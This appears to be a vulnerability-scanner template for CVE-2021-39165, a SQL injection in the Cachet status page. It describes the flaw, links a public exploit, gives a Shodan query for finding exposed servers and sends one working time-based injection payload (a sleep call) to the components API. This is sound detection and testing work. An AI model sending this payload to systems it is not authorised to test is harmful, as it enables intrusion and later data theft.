id: CVE-2021-39165

info:
  name: Cachet <=2.3.18 - SQL Injection
  author: tess
  severity: medium
  description: |
    Cachet is an open source status page. With Cachet prior to and including 2.3.18, there is a SQL injection which is in the `SearchableTrait#scopeSearch()`. Attackers without authentication can utilize this vulnerability to exfiltrate sensitive data from the database such as administrator's password and session. The original repository of Cachet <https://github.com/CachetHQ/Cachet> is not active, the stable version 2.3.18 and it's developing 2.4 branch is affected.
  remediation: |
    Upgrade Cachet to a version higher than 2.3.18 or apply the necessary patches provided by the vendor.
  reference:
    - https://www.leavesongs.com/PENETRATION/cachet-from-laravel-sqli-to-bug-bounty.html
    - https://github.com/fiveai/Cachet/commit/27bca8280419966ba80c6fa283d985ddffa84bb6
    - https://github.com/W0rty/CVE-2021-39165/blob/main/exploit.py
    - https://nvd.nist.gov/vuln/detail/CVE-2021-39165
    - https://github.com/fiveai/Cachet/security/advisories/GHSA-79mg-4w23-4fqc
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2021-39165
    cwe-id: CWE-287
    epss-score: 0.0389
    epss-percentile: 0.90944
    cpe: cpe:2.3:a:chachethq:cachet:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: chachethq
    product: cachet
    shodan-query: http.favicon.hash:-1606065523
  tags: cve,cve2021,cachet,sqli

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/v1/components?name=1&1%5B0%5D=&1%5B1%5D=a&1%5B2%5D=&1%5B3%5D=or+'a'='a')%20and%20(select%20sleep(6))--"

    redirects: true
    max-redirects: 2
    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains(body, "pagination") && contains(body, "data")'
        condition: and

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